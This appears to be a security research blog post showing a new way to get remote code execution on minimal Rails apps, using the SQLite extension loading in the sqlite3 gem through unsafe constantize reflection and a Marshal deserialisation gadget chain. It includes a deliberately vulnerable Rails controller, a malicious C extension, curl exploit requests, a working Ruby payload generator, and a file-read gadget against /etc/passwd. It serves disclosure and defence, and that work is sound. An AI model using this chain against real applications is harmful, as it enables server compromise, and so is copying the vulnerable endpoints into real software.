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Content

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New Method to Leverage Unsafe Reflection and Deserialisation to RCE on Rails - elttam

By

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Research into exploiting unsafe reflection in a minimal Rails application and the discovery of a new RCE reflection and deserialisation gadget in the sqlite3 gem.

web

ruby

rails

deserialisation

constantize

unsafe reflection

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Introduction

It is a well known security issue that allowing user controlled inputs in calls to the Ruby `String#constantize`, `String#safe_constantize`, `Module#const_get` and `Module#qualified_const_get` methods are insecure, since these methods allow the arbitrary loading of Ruby classes.For an example, the following code snippet would allow an attacker to initialise an object of any class:

```
vuln_params[:type].constantize.new(*vuln_params[:args])
```

This unsafe reflection has resulted in code execution vulnerabilities in the past, by initialising a new `Logger` object since the class previously used the Ruby `Kernel#open` method for opening the log file, which allowed the execution of terminal commands if the input begun with `|`.However, this method to achieve RCE has been patched since 2017 when the use of `Kernel#open` was change d to `File.open` to only allow the `Logger` class to create files.

It did pique our interest if the above dangerous construct could still result in arbitrary code execution on a minimal installation of Ruby on Rails, which resulted in the discovery of a new method by loading SQLite extension libraries via the `SQLite3::Database` class in the `sqlite3` gem. Upon further investigation, this new `SQLite3::Database` reflection gadget could also be exploited in a new deserialisation gadget chain if user inputs were deserialised using `Marshal.load` on a Rails application with the `sqlite3`, `activerecord` and `activesupport` gems installed.

Past Research

Although `brakeman` has the `check_unsafe_reflection` rule for detecting potentially unsafe uses of the Ruby `constantize` or similar methods, a wide variety of exploitation techniques are fairly limited. The following articles were two notable investigations that identified several reflection gadgets that could be abused to impact a Ruby/Rails application:

- Conviso's research into exploiting unsafe reflection in Rails applications highlighted several reflection gadgets, including the `Logger` command execution method that has been patched since 2017.
- Justin Collins's research into `constantize` documented Gems that had an unsafe `const_missing` method that could be abused to cause memory a leak with only just `params[:class].classify.constantize` as the dangerous construct.

Research Scope and Testing Environment Setup

The focus for this research was investigating if unsafe reflection or deserialisation of user controllable parameters on a Rails application could result in RCE. Testing was conducted on a minimal and default installation of Ruby on Rails with the following two endpoints, where the following `Dockerfile` (adapted from Luke Jahnke) was used to build the Docker image.

- `/reflection`: Unsafe reflection of user controlled values to construct a new object.
- `/marshal`: Unsafe deserialisation of a user controllable value using `Marshal.load`.

```
FROM ruby:3.4

RUN gem install rails:8.0.1

RUN rails new vuln_app --minimal --api

WORKDIR vuln_app/

RUN cat <<'EOF' > route_create_template.rb
 route 'post '/reflection', to: 'vuln#reflection''
 route 'post '/marshal', to: 'vuln#marshal''
EOF

RUN ./bin/rails app:template LOCATION=route_create_template.rb

RUN cat <<'EOF' > app/controllers/vuln_controller.rb
require 'base64'

class VulnController < ApplicationController
 def reflection
  vuln_params[:type].constantize.new(*vuln_params[:args])
  render json: {success: true}
 end

 def marshal
  deserialised = Marshal.load(Base64.decode64(vuln_params[:deserialise]))
  render json: {data: deserialised.to_s}
 end

 def vuln_params
  params.permit!
 end
end
EOF

ENV RAILS_ENV='production'
ENTRYPOINT ['./bin/rails', 'server', '--binding=0.0.0.0']
```

Potential RCE Reflection Gadgets

The first task was to discover classes within installed gems and Ruby that could result in arbitrary code execution when an object is initialised. Using `semgrep` to assist with identifying the use of

dangerous Ruby methods within the installed gems, over 1,000+ potential sinks were raised that were then manually investigated if input parameters for a constructor reached the sink.

This analysis resulted in the discovery of the following classes that were considered suitable candidates to investigate further.

- `RDoc::RI::Driver`
- The `options[:extra_doc_dirs]` option allows specifying extra folders for loading documentation, that initialises a new `RDoc::Store` object (source).
- The `load_cache` method for the `RDoc::Store` object is then invoked, that appends `cache.ri` to the folder path that is then loaded using **`Marshal.load`** (source).
- `SQLite3::Database`
- The `options[:extensions]` specifies additional file paths to SQLite extension libraries that are loaded when the database was initialised (source).

A few other interesting constructor methods in the following classes were also discovered, but since the impact was not code execution they were not analysed further and are summarised below:

- `Logger`
- Can be used to create arbitrary files on the filesystem, but cannot control the file content (source).
- Example: `Logger.new('create/file/anywhere.txt')`
- `Gem::ConfigFile`
- If one of the parameters is `--debug`, then it sets `$DEBUG=true` (source).
- Example: `Gem::ConfigFile.new(['--debug'])`
- `TCPServer` and `TCPSocket`
- Both classes could be used to determine open internal ports by detecting when an exception is raised or not.
- Example: `TCPSocket.new('127.0.0.1', 1337)`
- `ActiveRecord::ConnectionAdapters::SQLite3Adapter`
- Can be abused to create arbitrary folders on the filesystem.
- Example: `ActiveRecord::ConnectionAdapters::SQLite3Adapter.new({database: 'created/anything'})` will create the folder `./created`.
- `ActiveSupport::ConfigurationFile`
- Can be used to read arbitrary files from the filesystem, but depends on the attributes of the initialised object being returned to the user (e.g. call the `to_json` method and returning in a HTTP response).
- Example: `ActiveSupport::ConfigurationFile.new('/etc/passwd').to_json`
- `ENV`
- Although the `ENV` variable is a hash-like accessor for environment variables, depending on the implementation of the unsafe reflection it is possible to leak environment variables.

- Example: `'ENV'.constantize.to_json`

Writing Files to the Filesystem on Ruby on Rails

Both the `RDoc::RI::Driver` and `SQLite3::Database` reflection gadgets depend on reading a user controllable file on the filesystem to leverage the arbitrary code execution sinks. The problem is that the test application does not have `ActiveStorage` or any other file upload functionality enabled. The `TCPSocket` and `TCPServer` (plus other networking classes) reflection gadgets could be used to open a file descriptor at `/proc/self/fd/x`, but the `open` syscall is unable to open these socket files.

The next option was to look into how Ruby on Rails handles `multipart/form-data` requests with uploaded files. Underneath the hood, Ruby on Rails uses `Rack` for handling the processing of web requests and responses. The following code snippet from `rack/blob/main/lib/rack/multipart.rb` shows the `parse_multipart` method that processes `multipart/form-data` requests with uploaded files.

```
def parse_multipart(env, params = Rack::Utils.default_query_parser)
  unless io = env[RACK_INPUT]
    raise MissingInputError, 'Missing input stream!'
  end

  if content_length = env['CONTENT_LENGTH']
    content_length = content_length.to_i
  end

  content_type = env['CONTENT_TYPE']

  tempfile = env[RACK_MULTIPART_TEMPFILE_FACTORY] || Parser::TEMPFILE_FACTORY
  bufsize = env[RACK_MULTIPART_BUFFER_SIZE] || Parser::BUFSIZE

  info = Parser.parse(io, content_length, content_type, tempfile, bufsize, params)
  env[RACK_TEMPFILES] = info.tmp_files

  return info.params
end
```

Digging into `Rack::Multipart::Parser` class, it shows that a new `TempFile` is created with the contents of the uploaded file with the default prefix of `RackMultipart`.

```
module Rack
  module Multipart
    ...
    class Parser
    BUFSIZE = 1_048_576
    TEXT_PLAIN = 'text/plain'
    TEMPFILE_FACTORY = lambda { |filename, content_type|
      extension = ::File.extname(filename.gsub('\0', '%00'))[0, 129]

      Tempfile.new(['RackMultipart', extension])
    }
    ...
```

This can be confirmed by sending a file in a `POST` request to a target Rails application, and then observing the temporary file in the `/tmp` folder (default location for temporary files).

NOTE: The `/` endpoint does not exist on the test application, but the file is still saved to the filesystem.

Example `curl` command to demonstrate uploading a file

```
cat hello.txt
# i am in your filesystem :)
curl -F file=@hello.txt http://127.0.0.1:3000/
```

Showing the generated temporary file on the filesystem inside the Rails container

```
root@6986fa9afc11:/tmp# ls -al
total 12
drwxrwxrwt 1 root root 4096 Feb 25 14:29 .
drwxr-xr-x 1 root root 4096 Feb 25 14:28 ..
-rw------- 1 root root   27 Feb 25 14:29 RackMultipart20250225-1-sc9f98.txt
root@6986fa9afc11:/tmp# cat RackMultipart20250225-1-sc9f98.txt
i am in your filesystem :)
root@6986fa9afc11:/tmp#
```

One problem with this method of file upload is that although the extension value can be controlled by the user, the filename cannot be controlled so the `RDoc::RI::Driver` gadget is no longer a valid candidate for this scenario. This is because when a new `RDoc::RI::Driver` object is initialised with the `options[:extra_doc_dirs]` option, it deserialises the `cache.ri` file in the provided folder.

The other issue is determining the last six characters of the temporary filename before the extension. However, when a temporary file is created, the Rails process opens a file descriptor that is a symbolic link to the temporary file, where file descriptor numbers are significantly easier to enumerate than a Ruby temporary file name.

Example showing that `/proc/self/fd/12` is a symboilic link to the temporary file

```
root@6986fa9afc11:/proc/1/fd# ls -al
total 0
dr-x------ 2 root root 12 Feb 25 14:30 .
dr-xr-xr-x 9 root root  0 Feb 25 14:28 ..
lrwx------ 1 root root 64 Feb 25 14:30 0 -> /dev/null
l-wx------ 1 root root 64 Feb 25 14:30 1 -> 'pipe:[78561674]'
l-wx------ 1 root root 64 Feb 25 14:30 10 -> 'pipe:[78556734]'
lrwx------ 1 root root 64 Feb 25 14:30 12 -> /tmp/RackMultipart20250225-1-sc9f98.txt
l-wx------ 1 root root 64 Feb 25 14:30 2 -> 'pipe:[78561675]'
lrwx------ 1 root root 64 Feb 25 14:30 3 -> 'anon_inode:[eventfd]'
lrwx------ 1 root root 64 Feb 25 14:30 4 -> 'anon_inode:[eventpoll]'
lrwx------ 1 root root 64 Feb 25 14:30 5 -> 'socket:[78556732]'
lr-x------ 1 root root 64 Feb 25 14:30 6 -> 'pipe:[78556733]'
l-wx------ 1 root root 64 Feb 25 14:30 7 -> 'pipe:[78556733]'
lrwx------ 1 root root 64 Feb 25 14:30 8 -> 'anon_inode:[eventpoll]'
lr-x------ 1 root root 64 Feb 25 14:30 9 -> 'pipe:[78556734]'
root@6986fa9afc11:/proc/1/fd# cat /proc/1/fd/12
i am in your filesystem :)
root@6986fa9afc11:/proc/1/fd#
```

Exploiting the `SQLite3::Database` Reflection Gadget

To confirm if `/proc/self/fd/{num}` paths could be loaded as a SQLite extension, first a basic POC library was compiled using the following source code and `gcc` command.

C POC file that will create a file at `/tmp/rce-conf.txt` to confirm code execution

```c
#include <unistd.h>

int sqlite3_extension_init(void)
{
   system('touch /tmp/rce-conf.txt');
   return 0;
}
```

`gcc` command to compile the malicious SQLite extension

```
gcc -shared -fPIC -o payload.so poc.c
```

Uploading the `payload.so` to the application, Rack opened a new file descriptor to the temporary file at `/proc/self/fd/13`.

```
root@6986fa9afc11:/proc/1/fd# ls -al
total 0
dr-x------ 2 root root 13 Feb 25 14:30 .
dr-xr-xr-x 9 root root  0 Feb 25 14:28 ..
lrwx------ 1 root root 64 Feb 25 14:30 0 -> /dev/null
l-wx------ 1 root root 64 Feb 25 14:30 1 -> 'pipe:[78561674]'
l-wx------ 1 root root 64 Feb 25 14:30 10 -> 'pipe:[78556734]'
lrwx------ 1 root root 64 Feb 25 14:30 12 -> /tmp/RackMultipart20250225-1-sc9f98.txt
lrwx------ 1 root root 64 Feb 25 14:30 13 -> /tmp/RackMultipart20250225-1-oji5wc.so
l-wx------ 1 root root 64 Feb 25 14:30 2 -> 'pipe:[78561675]'
lrwx------ 1 root root 64 Feb 25 14:30 3 -> 'anon_inode:[eventfd]'
lrwx------ 1 root root 64 Feb 25 14:30 4 -> 'anon_inode:[eventpoll]'
lrwx------ 1 root root 64 Feb 25 14:30 5 -> 'socket:[78556732]'
lr-x------ 1 root root 64 Feb 25 14:30 6 -> 'pipe:[78556733]'
l-wx------ 1 root root 64 Feb 25 14:30 7 -> 'pipe:[78556733]'
lrwx------ 1 root root 64 Feb 25 14:30 8 -> 'anon_inode:[eventpoll]'
lr-x------ 1 root root 64 Feb 25 14:30 9 -> 'pipe:[78556734]'
root@6986fa9afc11:/proc/1/fd#
```

Finally, the below `curl` command would load `/proc/self/fd/13` as a SQLite extension when the `SQLite3::Database` object is initialised.

```
curl \
  -H 'Content-Type: application/json' \
  -d '{'type': 'SQLite3::Database', 'args': ['/tmp/rce.db', {'extensions': ['/proc/self/fd/13']}]}' \
  http://127.0.0.1:3000/reflection
```

The creation of the `/tmp/rce-conf.txt` confirms that the uploaded SQLite extension was executed

```
root@6986fa9afc11:/tmp# ls -al
total 28
drwxrwxrwt 1 root root  4096 Feb 25 14:32 .
drwxr-xr-x 1 root root  4096 Feb 25 14:28 ..
-rw------- 1 root root 15560 Feb 25 14:30 RackMultipart20250225-1-oji5wc.so
-rw------- 1 root root    27 Feb 25 14:29 RackMultipart20250225-1-sc9f98.txt
-rw-r--r-- 1 root root     0 Feb 25 14:32 rce-conf.txt
-rw-r--r-- 1 root root     0 Feb 25 14:31 rce.db
root@6986fa9afc11:/tmp#
```

This confirms that any Rails application with the `sqlite3` gem installed (which is installed by default) that allow the unsafe reflection of user inputs could result in RCE. `Rack` enables an attacker to upload a malicious SQLite extension to the filesystem that is loaded during the construction of a

`SQLite3::Database` object by using `/proc/self/fd/x` filepaths, which an external attacker could easily enumerate.

Adapting the `SQLite3::Database` Reflection Gadget into a Deserialisation Gadget

The next challenge was to investigate if `SQLite3::Database` objects could be leveraged in a deserialisation gadget chain to achieve RCE on a Rails application. The first step was to confirm if `SQLite3::Database` objects could be serialised, which is unfortunately not the case as it shows in the screenshot below.

[image: image]

However, it was discovered that the `ActiveRecord::ConnectionAdapters::SQLite3Adapter` class initialises a new `SQLite3::Database` object when the `connect!` method is invoked, as it shows in the following code snippet.

```
...
module ActiveRecord
  module ConnectionAdapters # :nodoc:
    # = Active Record \SQLite3 Adapter
    #
    # The \SQLite3 adapter works with the sqlite3[https://sparklemotion.github.io/sqlite3-ruby/]
    # driver.
    #
    # Options:
    #
    # * +:database+ (String): Filesystem path to the database file.
    # * +:statement_limit+ (Integer): Maximum number of prepared statements to cache per database connection. (default: 10
    # * +:timeout+ (Integer): Timeout in milliseconds to use when waiting for a lock. (default: no wait)
    # * +:strict+ (Boolean): Enable or disable strict mode. When enabled, this will
    #   {disallow double-quoted string literals in SQL
    #   statements}[https://www.sqlite.org/quirks.html#double_quoted_string_literals_are_accepted].
    #   (default: see strict_strings_by_default)
    # * +:extensions+ (Array): (<b>requires sqlite3 v2.4.0</b>) Each entry specifies a sqlite extension
    #   to load for this database. The entry may be a filesystem path, or the name of a class that
    #   responds to +.to_path+ to provide the filesystem path for the extension. See {sqlite3-ruby
    #   documentation}[https://sparklemotion.github.io/sqlite3-ruby/SQLite3/Database.html#class-SQLite3::Database-label-SQ
    #   for more information.
    #
    # There may be other options available specific to the SQLite3 driver. Please read the
    # documentation for
    # {SQLite::Database.new}[https://sparklemotion.github.io/sqlite3-ruby/SQLite3/Database.html#method-c-new]
    #
    class SQLite3Adapter < AbstractAdapter
      ADAPTER_NAME = 'SQLite'

      class << self
        def new_client(config)
          ::SQLite3::Database.new(config[:database].to_s, config)
        rescue Errno::ENOENT => error
          ...
        end
        ...
      end
      ...
      def connect
        @raw_connection = self.class.new_client(@connection_parameters)
      rescue ConnectionNotEstablished => ex
        raise ex.set_pool(@pool)
      end
```

```
    ...
  end
  ActiveSupport.run_load_hooks(:active_record_sqlite3adapter, SQLite3Adapter)
 end
end
```

Using the infamous `ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy` gadget, a deserialised `DeprecatedInstanceVariableProxy` object could be used to invoke the `connect!` method of a deserialised `ActiveRecord::ConnectionAdapters::SQLite3Adapter` object, which was first utilised back in 2013 by Hailey Somerville to exploit CVE-2013-0156. Since 2013, the `DeprecatedInstanceVariableProxy` gadget now requires the `@deprecator` instance variable to be set, otherwise an exception would be raised before executing the deserialised payload.

Putting all these points together in a gadget chain, the following proof-of-concept script was developed:

```ruby
# usage: ruby sqlite-marshal-poc.rb {fd}
# example: ruby sqlite-marshal-poc.rb 13

require 'base64'
require 'concurrent'

class ActiveRecord
 class ConnectionAdapters
  class SQLite3Adapter
   def initialize(...)
    @connection_parameters = nil
    @config = nil
    @lock = nil
   end
  end
 end
end

class ActiveSupport
 class Concurrency
  module NullLock

  end
 end

 class Deprecation
  def initialize()
   @gem_name='Rails'
   @deprecation_horizon='8.1'
   @silenced=false
   @debug=false
   @silence_counter=Concurrent::ThreadLocalVar.new(0)
   @default_block=nil
   @default=0
   @index=21
   @explicitly_allowed_warnings=Concurrent::ThreadLocalVar.new(nil)
   @default_block=nil
   @default=nil
   @index=22
  end

  class DeprecatedInstanceVariableProxy
   def initialize(instance, method)
    @instance = instance
```

```
      @method = method
    end
  end
 end
end

fd = ARGV[0]
if fd == nil
 abort('Need to set target fd')
end
adptr = ActiveRecord::ConnectionAdapters::SQLite3Adapter.allocate
adptr.instance_variable_set('@connection_parameters', {database: '/tmp/r.db', extensions: ['/proc/self/fd/#{fd}']})
adptr.instance_variable_set('@config', {connection_retries: 1, database: ':memory:'})
adptr.instance_variable_set('@lock', ActiveSupport::Concurrency::NullLock)

depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.allocate
depr.instance_variable_set :@instance, adptr
depr.instance_variable_set :@method, :connect!
depr.instance_variable_set :@var, '@connect!'
depr.instance_variable_set :@deprecator, ActiveSupport::Deprecation.new

payload = Base64.encode64(Marshal.dump(depr)).gsub('\n', '')

puts payload
```

To demonstrate this new deserialisation payload, the same `payload.so` from the previous section was uploaded to the test application that opened a file descriptor at `/proc/self/fd/12`.

```
root@f843c5a7802e:/proc/1/fd# ls -al
total 0
dr-x------ 2 root root 12 Feb 27 12:11 .
dr-xr-xr-x 9 root root  0 Feb 27 12:10 ..
lrwx------ 1 root root 64 Feb 27 12:11 0 -> /dev/null
l-wx------ 1 root root 64 Feb 27 12:11 1 -> 'pipe:[83117945]'
l-wx------ 1 root root 64 Feb 27 12:11 10 -> 'pipe:[83121125]'
lrwx------ 1 root root 64 Feb 27 12:11 12 -> /tmp/RackMultipart20250227-1-9ni25f.so
l-wx------ 1 root root 64 Feb 27 12:11 2 -> 'pipe:[83117946]'
lrwx------ 1 root root 64 Feb 27 12:11 3 -> 'anon_inode:[eventfd]'
lrwx------ 1 root root 64 Feb 27 12:11 4 -> 'anon_inode:[eventpoll]'
lrwx------ 1 root root 64 Feb 27 12:11 5 -> 'socket:[83080004]'
lr-x------ 1 root root 64 Feb 27 12:11 6 -> 'pipe:[83121124]'
l-wx------ 1 root root 64 Feb 27 12:11 7 -> 'pipe:[83121124]'
lrwx------ 1 root root 64 Feb 27 12:11 8 -> 'anon_inode:[eventpoll]'
lr-x------ 1 root root 64 Feb 27 12:11 9 -> 'pipe:[83121125]'
root@f843c5a7802e:/proc/1/fd#
```

The following `curl` command then exploits the `Marshal.load` vulnerability on the `/marshal` endpoint on the test application that results in the initialisation of the `SQLite3::Database` object that loads the SQLite extension.

```
curl -H 'Content-Type: application/json' \
  -d '{"deserialise":"$(ruby sqlite-marshal-poc.rb 12 | tr -d '\n')"}' \
  http://127.0.0.1:3000/marshal
```

Once again, the creation of the `/tmp/rce-conf.txt` file confirms that the SQLite extension was successfully executed, confirming RCE.

```
root@f843c5a7802e:/tmp# ls -al
total 24
drwxrwxrwt 1 root root  4096 Feb 27 12:20 .
drwxr-xr-x 1 root root  4096 Feb 27 12:10 ..
-rw------- 1 root root 15560 Feb 27 12:11 RackMultipart20250227-1-9ni25f.so
-rw-r--r-- 1 root root     0 Feb 27 12:20 r.db
-rw-r--r-- 1 root root     0 Feb 27 12:20 rce-conf.txt
root@f843c5a7802e:/tmp#
```

This new gadget chain could be exploited to achieve RCE on any Rails application that allows the unsafe deserialisation of user controlled inputs and has the `sqlite3`, `activerecord` and `activesupport` gems installed; where all three of these gems are installed by default on a minimal installation of Ruby on Rails. Considering that the `DeprecatedInstanceVariableProxy` gadget has been known about since 2013, plus this gadget chain exploits the legitimate requirement to allow the loading of

SQLite3 extensions when initialising a database connection, it is speculated that this gadget chain could be viable for some time.

Conclusion

The `SQLite3::Database` reflection gadget that was demonstrated in this article showed that unsafe Ruby reflection and construction of new objects using user inputs could still result in arbitrary code execution if the `sqlite3` gem installed, which is installed by default on a minimal installation of Rails. In addition, this article showcases a method to write files to the `/tmp` folder by abusing Rack's file upload parsing and accessing the contents of the file through `/proc/self/fd/x`, which could be utilised in exploiting other vulnerabilities that depend on file write on a Rails application.

Using our research about the `SQLite3::Database` reflection gadget, a new gadget chain was discovered that could be exploited to achieve RCE if the `activerecord` and `activesupport` gems installed, which they are by default on Ruby on Rails.

In conclusion, this research could potentially result in new RCE vulnerabilities being discovered once again on Rails applications that reflect or deserialise user controllable inputs.

References

- Conviso: Exploiting Unsafe Reflection in Ruby/Rails Applications
- Justin Collins: Another Reason to Avoid constantize in Rails
- SQLite: Run-Time Loadable Extensions
- `Rack::Multipart::Parser`
- Hailey Somerville: Rails 3.2.10 Remote Code Execution